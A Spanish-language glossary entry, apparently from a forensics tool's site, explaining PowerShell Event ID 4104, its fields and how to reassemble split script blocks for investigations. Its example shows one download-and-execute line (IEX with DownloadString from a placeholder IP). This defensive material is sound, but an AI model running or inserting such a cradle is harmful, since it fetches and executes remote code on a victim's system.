Skip to content

Glosario

Event ID 4104

El evento de Script Block Logging de PowerShell: un bloque de código compilado, identificado por ScriptBlockId y numerado como MessageNumber de MessageTotal.

El Event ID 4104 es el evento de Script Block Logging, que se escribe en el registro Microsoft-Windows-PowerShell/Operational (y, en PowerShell 7, en PowerShellCore/Operational). Cada evento contiene el texto de un bloque de código de PowerShell tal como lo compiló el motor, después de resolver cualquier codificación u ofuscación de cadenas, lo que lo convierte en la fuente individual más rica sobre lo que PowerShell ejecutó realmente.

Por qué importa en una investigación

El 4104 muestra el propio código, no solo una línea de comandos, por lo que revela la lógica de un script que se descargó, se decodificó o se construyó en memoria. Su EventData incluye cuatro campos que conviene conocer:

  • ScriptBlockText: el código de esta parte del bloque
  • ScriptBlockId: un GUID compartido por todas las partes de un mismo bloque
  • MessageNumber / MessageTotal: esta es la parte n de N
  • Path: el archivo .ps1 de origen, cuando el bloque procede de un script

Como el registro de eventos limita el tamaño de cada evento, un script largo se divide en varios eventos 4104. Para recuperarlo, agrupe por ScriptBlockId, ordene por MessageNumber y concatene ScriptBlockText. Si una parte ha salido del registro por rotación o nunca se recopiló, la reconstrucción tiene un hueco que cualquier interpretación debe tener en cuenta.

El nivel también importa. Con la directiva activada, los bloques se registran con nivel Verbose; los bloques registrados con nivel Warning los marcó PowerShell por su cuenta porque contienen términos que considera sospechosos, algo que ocurre incluso cuando el registro completo está desactivado.

Ejemplo

Un script largo podría llegar como tres eventos que comparten un mismo ScriptBlockId, numerados 1 de 3, 2 de 3 y 3 de 3. Si solo se conservan las partes 1 y 3, el parser sigue mostrando el bloque y lo marca como parcial, indicando que la parte 2 de 3 no está en el registro, para que el hueco no pase desapercibido. Un bloque de una sola parte podría contener:

ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
MessageNumber: 1   MessageTotal: 1

Términos relacionados

Reensamble y decodifique eventos 4104 en su navegador con el PowerShell Parser y lea la guía forense del 4104.